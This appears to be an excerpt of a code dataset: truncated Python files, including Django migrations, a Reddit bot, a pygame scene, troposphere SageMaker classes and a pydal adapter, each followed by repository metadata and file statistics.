TEST_CONFIG_OVERRIDE = { # An envvar key for determining the project id to use. Change it # to 'BUILD_SPECIFIC_GCLOUD_PROJECT' if you want to opt in using a # build specific Cloud project. You can also use your own string # to use your own Cloud project. "gcloud_project_env": "BUILD_SPECIFIC_GCLOUD_...
46.3
70
0.712743
127
926
4.826772
0.503937
0.068516
0.092985
0.127243
0.14845
0.14845
0.14845
0.14845
0
0
0
0.121786
0.201944
926
19
71
48.736842
0.707713
0.429806
0
0
0
0
0.609615
0.365385
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f21a51bd13a2f891e2303ec8e105009193f93ecb
422
py
Python
saleor/unurshop/crawler/migrations/0013_auto_20210921_0452.py
nlkhagva/saleor
0d75807d08ac49afcc904733724ac870e8359c10
[ "CC-BY-4.0" ]
null
null
null
saleor/unurshop/crawler/migrations/0013_auto_20210921_0452.py
nlkhagva/saleor
0d75807d08ac49afcc904733724ac870e8359c10
[ "CC-BY-4.0" ]
1
2022-02-15T03:31:12.000Z
2022-02-15T03:31:12.000Z
saleor/unurshop/crawler/migrations/0013_auto_20210921_0452.py
nlkhagva/ushop
abf637eb6f7224e2d65d62d72a0c15139c64bb39
[ "CC-BY-4.0" ]
null
null
null
# Generated by Django 3.1.1 on 2021-09-21 04:52 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('crawler', '0012_auto_20210921_0451'), ] operations = [ migrations.AlterField( model_name='crawlerline', name='ustatu...
22.210526
80
0.618483
45
422
5.711111
0.8
0
0
0
0
0
0
0
0
0
0
0.10356
0.267773
422
18
81
23.444444
0.728155
0.106635
0
0
1
0
0.128
0.061333
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1eec0296b555ebcc98cbc7b360b616946e53db82
941
py
Python
manabi/apps/flashcards/permissions.py
aehlke/manabi
1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b
[ "MIT" ]
14
2015-10-03T07:34:28.000Z
2021-09-20T07:10:29.000Z
manabi/apps/flashcards/permissions.py
aehlke/manabi
1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b
[ "MIT" ]
23
2019-10-25T08:47:23.000Z
2022-01-30T02:00:45.000Z
manabi/apps/flashcards/permissions.py
aehlke/manabi
1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b
[ "MIT" ]
7
2016-10-04T08:10:36.000Z
2021-09-20T07:10:33.000Z
from django.shortcuts import get_object_or_404 from rest_framework import permissions from manabi.apps.flashcards.models import Deck WRITE_ACTIONS = ['create', 'update', 'partial_update', 'delete'] class DeckSynchronizationPermission(permissions.BasePermission): message = "You don't have permission to add this...
30.354839
75
0.679065
112
941
5.544643
0.535714
0.057971
0.035427
0.045089
0.20934
0.20934
0
0
0
0
0
0.008439
0.244421
941
30
76
31.366667
0.864979
0
0
0.190476
0
0
0.134963
0
0
0
0
0
0
1
0.095238
false
0
0.142857
0
0.619048
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1eef8337b3089adedce496c555766805e7a14c76
365
py
Python
Scripts/create_phone_number.py
yogeshwaran01/Mini-Projects
c1a8790079d904405d49c71d6903ca4daaa77b38
[ "MIT" ]
4
2020-09-30T17:18:13.000Z
2021-06-11T21:02:10.000Z
Scripts/create_phone_number.py
yogeshwaran01/Mini-Projects
c1a8790079d904405d49c71d6903ca4daaa77b38
[ "MIT" ]
null
null
null
Scripts/create_phone_number.py
yogeshwaran01/Mini-Projects
c1a8790079d904405d49c71d6903ca4daaa77b38
[ "MIT" ]
1
2021-04-02T14:51:00.000Z
2021-04-02T14:51:00.000Z
""" Function convert lists of 10 elements into in the format of phone number Example, (123) 456-789 """ def create_phone_number(n: list) -> str: """ >>> create_phone_number([1,2,3,4,5,6,7,8,9,0]) '(123) 456-7890' """ return "({}{}{}) {}{}{}-{}{}{}{}".format(*n) if __name__ == "__main__...
15.869565
50
0.556164
50
365
3.82
0.78
0.172775
0.17801
0
0
0
0
0
0
0
0
0.109541
0.224658
365
22
51
16.590909
0.565371
0.449315
0
0
0
0
0.189349
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1ef2ba31fbb403bcb4ce6125ac2b8a6fd53306d0
527
py
Python
src/tests/flow.py
SeleSchaefer/super_resolution
bf28a959fb150ceeadbd9f0bcfc12f3025cf82f4
[ "MIT" ]
5
2019-11-11T10:01:52.000Z
2020-12-08T11:56:33.000Z
src/tests/flow.py
SeleSchaefer/super_resolution
bf28a959fb150ceeadbd9f0bcfc12f3025cf82f4
[ "MIT" ]
1
2020-06-13T06:39:44.000Z
2020-06-13T06:39:44.000Z
src/tests/flow.py
SeleSchaefer/super_resolution
bf28a959fb150ceeadbd9f0bcfc12f3025cf82f4
[ "MIT" ]
1
2020-07-16T23:07:28.000Z
2020-07-16T23:07:28.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import cv2 import imageio import numpy as np from tar.miscellaneous import convert_flow_to_color prev = imageio.imread("ressources/1_1.png") prev = cv2.cvtColor(prev, cv2.COLOR_RGB2GRAY) curr = imageio.imread("ressources/1_2.png") curr = cv2.cvtColor(curr, cv2.COLOR_RGB...
29.277778
112
0.759013
83
527
4.674699
0.566265
0.056701
0.06701
0.092784
0
0
0
0
0
0
0
0.059197
0.102467
527
17
113
31
0.761099
0.081594
0
0
0
0
0.13278
0.058091
0
0
0
0
0
1
0
false
0
0.363636
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
1ef4bd40a0edef859ca09644504d0ac02de309a6
746
py
Python
post/migrations/0009_auto_20171207_2320.py
silvareal/personal-blog
9ed8ac48864510cd5b3227b7b0f7d335beb648de
[ "MIT" ]
2
2018-03-15T16:53:11.000Z
2020-01-17T15:56:33.000Z
post/migrations/0009_auto_20171207_2320.py
silvareal/personal-blog
9ed8ac48864510cd5b3227b7b0f7d335beb648de
[ "MIT" ]
null
null
null
post/migrations/0009_auto_20171207_2320.py
silvareal/personal-blog
9ed8ac48864510cd5b3227b7b0f7d335beb648de
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2017-12-07 22:20 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('post', '0008_auto_20171207_2256'), ] operations = [ migrations.RemoveField( ...
26.642857
177
0.577748
71
746
5.915493
0.676056
0.085714
0.061905
0.080952
0.119048
0
0
0
0
0
0
0.062731
0.273458
746
27
178
27.62963
0.712177
0.088472
0
0.35
1
0
0.183161
0.033973
0
0
0
0
0
1
0
false
0
0.1
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1ef930c42df2781ea2ef6709774093b794cfc83e
3,081
py
Python
testing/tests/registers.py
Wynjones1/gbvhdl
46cef04cef308967ea4764eeeaf7d611dc783ae4
[ "MIT" ]
null
null
null
testing/tests/registers.py
Wynjones1/gbvhdl
46cef04cef308967ea4764eeeaf7d611dc783ae4
[ "MIT" ]
null
null
null
testing/tests/registers.py
Wynjones1/gbvhdl
46cef04cef308967ea4764eeeaf7d611dc783ae4
[ "MIT" ]
null
null
null
#!/usr/bin/env python2.7 from common import * from random import randint, choice registers = {\ "a" : int("0000", 2), "f" : int("0001", 2), "b" : int("0010", 2), "c" : int("0011", 2), "d" : int("0100", 2), "e" : int("0101", 2), "h" : int("0110", 2), "l" : int("0111", 2), "af" : int("1000", 2), "bc" : int("1001...
31.121212
79
0.477118
404
3,081
3.517327
0.220297
0.106967
0.215341
0.080929
0.190007
0.142153
0.040816
0.040816
0
0
0
0.061455
0.339825
3,081
98
80
31.438776
0.637168
0.007465
0
0.159091
0
0
0.053974
0
0
0
0.013739
0
0
1
0.068182
false
0
0.022727
0
0.193182
0.011364
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1efa2e6d895702b8d443cbba288ae926b3327dee
290
py
Python
DiscordRPC/__init__.py
EterNomm/discord-rpc
86bdf35a75df9ab8971763042d19f2f820e08a51
[ "Apache-2.0" ]
4
2021-12-13T13:26:00.000Z
2022-02-20T17:11:19.000Z
DiscordRPC/__init__.py
LyQuid12/discord-rpc
86bdf35a75df9ab8971763042d19f2f820e08a51
[ "Apache-2.0" ]
null
null
null
DiscordRPC/__init__.py
LyQuid12/discord-rpc
86bdf35a75df9ab8971763042d19f2f820e08a51
[ "Apache-2.0" ]
null
null
null
from .presence import * from .button import button from .exceptions import * #from .get_current_app import GCAR (Disabling due to a bug) __title__ = "Discord-RPC" __version__ = "3.5" __authors__ = "LyQuid" __license__ = "Apache License 2.0" __copyright__ = "Copyright 2021-present LyQuid"
26.363636
59
0.762069
39
290
5.102564
0.74359
0.100503
0
0
0
0
0
0
0
0
0
0.032129
0.141379
290
10
60
29
0.767068
0.2
0
0
0
0
0.290043
0
0
0
0
0
0
1
0
false
0
0.375
0
0.375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
1efbf1d335ee13e467149f16bec6b633d71434fe
1,314
py
Python
src/graph/cli/server.py
clayman-micro/graph
742015c276f89841310794e952280a06c24fe8ef
[ "MIT" ]
null
null
null
src/graph/cli/server.py
clayman-micro/graph
742015c276f89841310794e952280a06c24fe8ef
[ "MIT" ]
null
null
null
src/graph/cli/server.py
clayman-micro/graph
742015c276f89841310794e952280a06c24fe8ef
[ "MIT" ]
null
null
null
import socket import click import uvicorn # type: ignore def get_address(default: str = "127.0.0.1") -> str: try: ip_address = socket.gethostbyname(socket.gethostname()) except socket.gaierror: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8"...
22.655172
70
0.590563
164
1,314
4.652439
0.445122
0.047182
0.019659
0.023591
0.076016
0
0
0
0
0
0
0.049041
0.286149
1,314
57
71
23.052632
0.764392
0.009132
0
0.152174
0
0
0.13
0
0
0
0
0
0
1
0.065217
false
0.065217
0.065217
0
0.152174
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
1efed2c2a7cb93434e5d67d1db9954f3a5ff1653
1,543
py
Python
kubespawner/clients.py
moskiGithub/spawner_test
405f088041054080f53b620b68fe040e5e0b091a
[ "BSD-3-Clause" ]
null
null
null
kubespawner/clients.py
moskiGithub/spawner_test
405f088041054080f53b620b68fe040e5e0b091a
[ "BSD-3-Clause" ]
null
null
null
kubespawner/clients.py
moskiGithub/spawner_test
405f088041054080f53b620b68fe040e5e0b091a
[ "BSD-3-Clause" ]
null
null
null
"""Shared clients for kubernetes avoids creating multiple kubernetes client objects, each of which spawns an unused max-size thread pool """ from unittest.mock import Mock import weakref import kubernetes.client from kubernetes.client import api_client # FIXME: remove when instantiating a kubernetes cli...
32.829787
68
0.711601
203
1,543
5.295567
0.46798
0.089302
0.029767
0.035349
0
0
0
0
0
0
0
0.001672
0.224887
1,543
46
69
33.543478
0.897157
0.483474
0
0
0
0
0
0
0
0
0
0.021739
0
1
0.055556
false
0
0.222222
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
480a52a59f5e6ca79a9056130cb2d9abb336a9ed
11,497
py
Python
sim_user/mailLib.py
silicom-hub/IS_simulator
4d134a8051c3604a94c2552503ff24015a3e86ee
[ "MIT" ]
4
2021-11-24T10:58:51.000Z
2022-03-11T15:13:22.000Z
sim_user/mailLib.py
silicom-hub/IS_simulator
4d134a8051c3604a94c2552503ff24015a3e86ee
[ "MIT" ]
1
2021-11-24T09:16:08.000Z
2021-11-30T16:19:41.000Z
sim_user/mailLib.py
silicom-hub/IS_simulator
4d134a8051c3604a94c2552503ff24015a3e86ee
[ "MIT" ]
1
2021-11-24T11:10:38.000Z
2021-11-24T11:10:38.000Z
import os import wget import time import glob import getpass import tarfile import subprocess import email.mime.multipart import email.mime.text import email.mime.image import email.mime.audio from datetime import datetime from pprint import pprint from colorama import Style, Fore from smtplib import SMTP, SMTP_SSL fro...
41.060714
168
0.609898
1,431
11,497
4.781272
0.134871
0.030254
0.036977
0.04297
0.655949
0.590178
0.540047
0.494592
0.456299
0.431453
0
0.005383
0.256676
11,497
279
169
41.207885
0.795226
0.231278
0
0.424731
0
0
0.151743
0.017252
0
0
0
0
0
1
0.05914
false
0.086022
0.086022
0
0.209677
0.123656
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
480d49129b8a557b65a1a726cce2b2b64435ab5e
1,418
py
Python
streamlitfront/tests/dummy_app.py
i2mint/streamlitfront
6fbc03a42cdb7436dcda3da00fb9b42965bbb582
[ "Apache-2.0" ]
null
null
null
streamlitfront/tests/dummy_app.py
i2mint/streamlitfront
6fbc03a42cdb7436dcda3da00fb9b42965bbb582
[ "Apache-2.0" ]
1
2022-02-03T15:21:57.000Z
2022-02-05T00:51:33.000Z
streamlitfront/tests/dummy_app.py
i2mint/streamlitfront
6fbc03a42cdb7436dcda3da00fb9b42965bbb582
[ "Apache-2.0" ]
null
null
null
from streamlitfront.base import get_pages_specs, get_func_args_specs, BasePageFunc import streamlit as st from pydantic import BaseModel import streamlit_pydantic as sp def multiple(x: int, word: str) -> str: return str(x) + word class Input(BaseModel): x: int y: str def multiple_input(input: Input): ...
28.938776
82
0.658674
182
1,418
4.879121
0.307692
0.05518
0.036036
0.036036
0.13964
0
0
0
0
0
0
0.001795
0.214386
1,418
48
83
29.541667
0.795332
0.300423
0
0
0
0
0.043833
0
0
0
0
0
0
1
0.12
false
0
0.16
0.08
0.52
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
480d62d6a3b8b59327c71459cf291592859ce935
367
py
Python
app/build.py
dhost-project/build-microservice
4376169a2753f37fe8c7985525bd3fd3af6f11e7
[ "MIT" ]
null
null
null
app/build.py
dhost-project/build-microservice
4376169a2753f37fe8c7985525bd3fd3af6f11e7
[ "MIT" ]
null
null
null
app/build.py
dhost-project/build-microservice
4376169a2753f37fe8c7985525bd3fd3af6f11e7
[ "MIT" ]
null
null
null
from flask_restful import Resource, reqparse parser = reqparse.RequestParser() parser.add_argument('command', required=True) parser.add_argument('docker', required=True) class Build(Resource): def get(self): return {'status': 'building'} def post(self): args = parser.parse_args() pr...
21.588235
45
0.6703
42
367
5.761905
0.642857
0.07438
0.140496
0
0
0
0
0
0
0
0
0
0.19891
367
16
46
22.9375
0.823129
0
0
0
0
0
0.108992
0
0
0
0
0
0
1
0.181818
false
0
0.090909
0.090909
0.545455
0.090909
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
480d6eb2f995a9bfa4e6589d0220badcbea502c9
1,224
py
Python
src/unicon/plugins/windows/__init__.py
nielsvanhooy/unicon.plugins
3416fd8223f070cbb67a2cbe604e3c5d13584318
[ "Apache-2.0" ]
18
2019-11-23T23:14:53.000Z
2022-01-10T01:17:08.000Z
src/unicon/plugins/windows/__init__.py
nielsvanhooy/unicon.plugins
3416fd8223f070cbb67a2cbe604e3c5d13584318
[ "Apache-2.0" ]
12
2020-11-09T20:39:25.000Z
2022-03-22T12:46:59.000Z
src/unicon/plugins/windows/__init__.py
nielsvanhooy/unicon.plugins
3416fd8223f070cbb67a2cbe604e3c5d13584318
[ "Apache-2.0" ]
32
2020-02-12T15:42:22.000Z
2022-03-15T16:42:10.000Z
__copyright__ = "# Copyright (c) 2018 by cisco Systems, Inc. All rights reserved." __author__ = "dwapstra" from unicon.plugins.generic import GenericSingleRpConnection, service_implementation as svc from unicon.plugins.generic.connection_provider import GenericSingleRpConnectionProvider from unicon.plugins.generic im...
29.853659
91
0.763072
114
1,224
7.929825
0.491228
0.033186
0.056416
0.079646
0.132743
0
0
0
0
0
0
0.003941
0.170752
1,224
40
92
30.6
0.8867
0.089869
0
0
0
0
0.082397
0
0
0
0
0
0
1
0.086957
false
0.043478
0.26087
0
0.782609
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
48137f6833204958dbcfd12efea83db5d3727b1f
158
py
Python
python/square root.py
SULING4EVER/learngit
d55f942fbd782b309b0490c34a1bb743f6c4ef03
[ "Apache-2.0" ]
null
null
null
python/square root.py
SULING4EVER/learngit
d55f942fbd782b309b0490c34a1bb743f6c4ef03
[ "Apache-2.0" ]
null
null
null
python/square root.py
SULING4EVER/learngit
d55f942fbd782b309b0490c34a1bb743f6c4ef03
[ "Apache-2.0" ]
null
null
null
x=input("Enter a umber of which you want to know the square root.") x=int(x) g=x/2 while (g*g-x)*(g*g-x)>0.00000000001: g=(g+x/g)/2 print(g) print(g)
19.75
67
0.620253
38
158
2.578947
0.552632
0.081633
0.091837
0.081633
0
0
0
0
0
0
0
0.10687
0.170886
158
7
68
22.571429
0.641221
0
0
0.285714
0
0
0.35443
0
0
0
0
0
0
1
0
false
0
0
0
0
0.285714
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
481650f94557e95d1e169f088c7d5dec8a6391f7
1,212
py
Python
iaso/migrations/0052_fix_period_before_after.py
ekhalilbsq/iaso
e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee
[ "MIT" ]
29
2020-12-26T07:22:19.000Z
2022-03-07T13:40:09.000Z
iaso/migrations/0052_fix_period_before_after.py
ekhalilbsq/iaso
e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee
[ "MIT" ]
150
2020-11-09T15:03:27.000Z
2022-03-07T15:36:07.000Z
iaso/migrations/0052_fix_period_before_after.py
ekhalilbsq/iaso
e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee
[ "MIT" ]
4
2020-11-09T10:38:13.000Z
2021-10-04T09:42:47.000Z
# Generated by Django 2.1.11 on 2020-06-04 09:19 from django.db import migrations, models def fix_period_before_after(apps, schema_editor): # noinspection PyPep8Naming Form = apps.get_model("iaso", "Form") for form in Form.objects.filter(period_type=None).exclude(periods_before_allowed=0, periods_after_...
35.647059
118
0.655116
139
1,212
5.503597
0.482014
0.04183
0.078431
0.113725
0.338562
0.275817
0.227451
0
0
0
0
0.028391
0.215347
1,212
33
119
36.727273
0.776025
0.059406
0
0.086957
1
0
0.130167
0.037819
0
0
0
0
0
1
0.043478
false
0
0.043478
0
0.217391
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
481a590185ab360ad8f0c2ef3e09b5d683dfa4f6
26,620
py
Python
examples/rough_translated1/osgthreadedterrain.py
JaneliaSciComp/osgpyplusplus
a5ae3f69c7e9101a32d8cc95fe680dab292f75ac
[ "BSD-3-Clause" ]
17
2015-06-01T12:19:46.000Z
2022-02-12T02:37:48.000Z
examples/rough_translated1/osgthreadedterrain.py
cmbruns/osgpyplusplus
f8bfca2cf841e15f6ddb41c958f3ad0d0b9e4b75
[ "BSD-3-Clause" ]
7
2015-07-04T14:36:49.000Z
2015-07-23T18:09:49.000Z
examples/rough_translated1/osgthreadedterrain.py
cmbruns/osgpyplusplus
f8bfca2cf841e15f6ddb41c958f3ad0d0b9e4b75
[ "BSD-3-Clause" ]
7
2015-11-28T17:00:31.000Z
2020-01-08T07:00:59.000Z
#!/bin/env python # Automatically translated python version of # OpenSceneGraph example program "osgthreadedterrain" # !!! This program will need manual tuning before it will work. !!! import sys from osgpypp import OpenThreads from osgpypp import osg from osgpypp import osgDB from osgpypp import osgGA from osgpypp...
34.661458
130
0.598911
2,423
26,620
6.526207
0.215848
0.024474
0.032631
0.048947
0.273509
0.222665
0.174856
0.156707
0.148991
0.144818
0
0.007858
0.306837
26,620
767
131
34.706649
0.849122
0
0
0.294521
0
0
0.045928
0.009662
0
0
0
0
0
0
null
null
0
0.020548
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
482697dcf4d097846528ae15ee8dbca33b6e86d7
525
py
Python
splunge.py
neilebliss/reddit_bot
74be4b57ddbdf9fe0d9876207388ee2778b4a50d
[ "Unlicense" ]
null
null
null
splunge.py
neilebliss/reddit_bot
74be4b57ddbdf9fe0d9876207388ee2778b4a50d
[ "Unlicense" ]
null
null
null
splunge.py
neilebliss/reddit_bot
74be4b57ddbdf9fe0d9876207388ee2778b4a50d
[ "Unlicense" ]
null
null
null
import praw import re import os reddit = praw.Reddit('Splunge Bot v1', client_id=os.environ['REDDIT_CLIENT_ID'], client_secret=os.environ['REDDIT_CLIENT_SECRET'], password=os.environ['REDDIT_PASSWORD'], username=os.environ['REDDIT_USERNAME']) subreddit = reddit.subreddit('tubasaur') for submission in subreddit.new(lim...
40.384615
210
0.775238
76
525
5.171053
0.486842
0.091603
0.152672
0.10687
0
0
0
0
0
0
0
0.004193
0.091429
525
12
211
43.75
0.819707
0
0
0
0
0
0.257634
0
0
0
0
0
0
1
0
false
0.1
0.3
0
0.3
0.1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
482da58116dfb913fbea2c87dc9df1955becba11
3,528
py
Python
code/a_train_generalist.py
seba-1511/specialists
9888e639707142db80aafe6ae7bf25f572d34505
[ "Apache-2.0" ]
1
2016-05-31T07:54:31.000Z
2016-05-31T07:54:31.000Z
code/a_train_generalist.py
seba-1511/specialists
9888e639707142db80aafe6ae7bf25f572d34505
[ "Apache-2.0" ]
null
null
null
code/a_train_generalist.py
seba-1511/specialists
9888e639707142db80aafe6ae7bf25f572d34505
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ This file is an experiment that will train a specified generalist network. """ import random import numpy as np from neon.backends import gen_backend from neon.data import DataIterator, load_cifar10 from neon.transforms.cost import Misclassification from neon.callbac...
33.283019
98
0.67602
505
3,528
4.473267
0.269307
0.053121
0.030987
0.047809
0.236388
0.188136
0.161133
0.139
0.093847
0.082337
0
0.031628
0.202381
3,528
105
99
33.6
0.771144
0.029762
0
0.066667
0
0
0.06087
0.012894
0
0
0
0
0
0
null
null
0
0.146667
null
null
0.053333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
4834a12f8b0a1adc974a9695986c5da1d9c04010
603
py
Python
repost/api/schemas/user.py
pckv/fastapi-backend
0f561528086ac3fdcabbf9efeac888421eeb66de
[ "MIT" ]
9
2020-02-03T11:17:06.000Z
2021-06-15T13:20:34.000Z
repost/api/schemas/user.py
pckv/fastapi-backend
0f561528086ac3fdcabbf9efeac888421eeb66de
[ "MIT" ]
40
2020-02-03T11:23:59.000Z
2020-05-19T08:05:41.000Z
repost/api/schemas/user.py
pckv/fastapi-backend
0f561528086ac3fdcabbf9efeac888421eeb66de
[ "MIT" ]
1
2020-03-11T02:47:40.000Z
2020-03-11T02:47:40.000Z
"""API schemas for users.""" from datetime import datetime from typing import Optional from pydantic import BaseModel class User(BaseModel): """Schema for a user account""" username: str bio: Optional[str] avatar_url: Optional[str] created: datetime edited: Optional[datetime] class Confi...
20.1
48
0.681592
75
603
5.44
0.453333
0.107843
0.132353
0.107843
0
0
0
0
0
0
0
0
0.223881
603
29
49
20.793103
0.871795
0.200663
0
0.117647
0
0
0
0
0
0
0
0
0
1
0
false
0.058824
0.176471
0
0.941176
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
483592e4049e6951c186723536311a58d0a2c2a3
1,459
py
Python
gluon/packages/dal/pydal/adapters/sap.py
GeorgesBrantley/ResistanceGame
65ec925ec8399af355e176c4814a749fde5f907d
[ "BSD-3-Clause" ]
408
2015-01-01T10:31:47.000Z
2022-03-26T17:41:21.000Z
gluon/packages/dal/pydal/adapters/sap.py
GeorgesBrantley/ResistanceGame
65ec925ec8399af355e176c4814a749fde5f907d
[ "BSD-3-Clause" ]
521
2015-01-08T14:45:54.000Z
2022-03-24T11:15:22.000Z
gluon/packages/dal/pydal/adapters/sap.py
GeorgesBrantley/ResistanceGame
65ec925ec8399af355e176c4814a749fde5f907d
[ "BSD-3-Clause" ]
158
2015-01-25T20:02:00.000Z
2022-03-01T06:29:12.000Z
import re from .._compat import integer_types, long from .base import SQLAdapter from . import adapters @adapters.register_for("sapdb") class SAPDB(SQLAdapter): dbengine = "sapdb" drivers = ("sapdb",) REGEX_URI = ( "^(?P<user>[^:@]+)(:(?P<password>[^@]*))?" r"@(?P<host>[^:/]+|\[[^\]]+\])/...
32.422222
85
0.592186
175
1,459
4.794286
0.428571
0.028605
0.060787
0.052443
0.131108
0
0
0
0
0
0
0.002712
0.241947
1,459
44
86
33.159091
0.755877
0
0
0
0
0
0.169294
0.056888
0
0
0
0
0
1
0.108108
false
0.135135
0.108108
0
0.351351
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
4836dce172471538808ff516434e702497a39d34
39,841
py
Python
troposphere/sagemaker.py
filipepmo/troposphere
b1590f58ed8cc86ba18a19ed93fc9380d6f7306b
[ "BSD-2-Clause" ]
null
null
null
troposphere/sagemaker.py
filipepmo/troposphere
b1590f58ed8cc86ba18a19ed93fc9380d6f7306b
[ "BSD-2-Clause" ]
null
null
null
troposphere/sagemaker.py
filipepmo/troposphere
b1590f58ed8cc86ba18a19ed93fc9380d6f7306b
[ "BSD-2-Clause" ]
null
null
null
# Copyright (c) 2012-2022, Mark Peek <mark@peek.org> # All rights reserved. # # See LICENSE file for full license. # # *** Do not modify - this file is autogenerated *** # Resource specification version: 51.0.0 from . import AWSObject, AWSProperty, PropsDictType, Tags from .validators import boolean, double, integer ...
32.207761
206
0.680681
3,016
39,841
8.922082
0.106432
0.029433
0.038017
0.058754
0.457096
0.407745
0.395295
0.377978
0.366606
0.36066
0
0.001101
0.179363
39,841
1,236
207
32.233819
0.82193
0.351422
0
0.35814
1
0
0.235617
0.097267
0
0
0
0
0
1
0
false
0
0.003101
0
0.328682
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
4843692979b67bbb7eade27d08ade8ca10f18066
2,012
py
Python
magPi_05_mountains.py
oniMoNaku/thePit
f82d2dc70346e6188fca493a4b9373aa99ccfa32
[ "Unlicense" ]
null
null
null
magPi_05_mountains.py
oniMoNaku/thePit
f82d2dc70346e6188fca493a4b9373aa99ccfa32
[ "Unlicense" ]
null
null
null
magPi_05_mountains.py
oniMoNaku/thePit
f82d2dc70346e6188fca493a4b9373aa99ccfa32
[ "Unlicense" ]
null
null
null
# today is 389f # the python pit # magPi - 05 # MOUNTAINS import os, pygame; from pygame.locals import * pygame.init(); clock = pygame.time.Clock() os.environ['SDL_VIDEO_WINDOW_POS'] = 'center' pygame.display.set_caption("Mountains") screen=pygame.display.set_mode([600,382],0,32) sky = pygame.Surface((600,255)) r=0;...
34.101695
73
0.638171
416
2,012
3.072115
0.228365
0.039124
0.030516
0.195618
0.369327
0.349765
0.349765
0.21831
0.124413
0.07903
0
0.2
0.107853
2,012
59
74
34.101695
0.511978
0.12326
0
0.177778
0
0
0.019932
0
0
0
0
0
0
1
0
false
0
0.022222
0
0.022222
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
4847f5739e2a2a4fe3f2279bc69fc734031f35e3
5,610
py
Python
rest-service/manager_rest/rest/resources_v3/users.py
TS-at-WS/cloudify-manager
3e062e8dec16c89d2ab180d0b761cbf76d3f7ddc
[ "Apache-2.0" ]
null
null
null
rest-service/manager_rest/rest/resources_v3/users.py
TS-at-WS/cloudify-manager
3e062e8dec16c89d2ab180d0b761cbf76d3f7ddc
[ "Apache-2.0" ]
null
null
null
rest-service/manager_rest/rest/resources_v3/users.py
TS-at-WS/cloudify-manager
3e062e8dec16c89d2ab180d0b761cbf76d3f7ddc
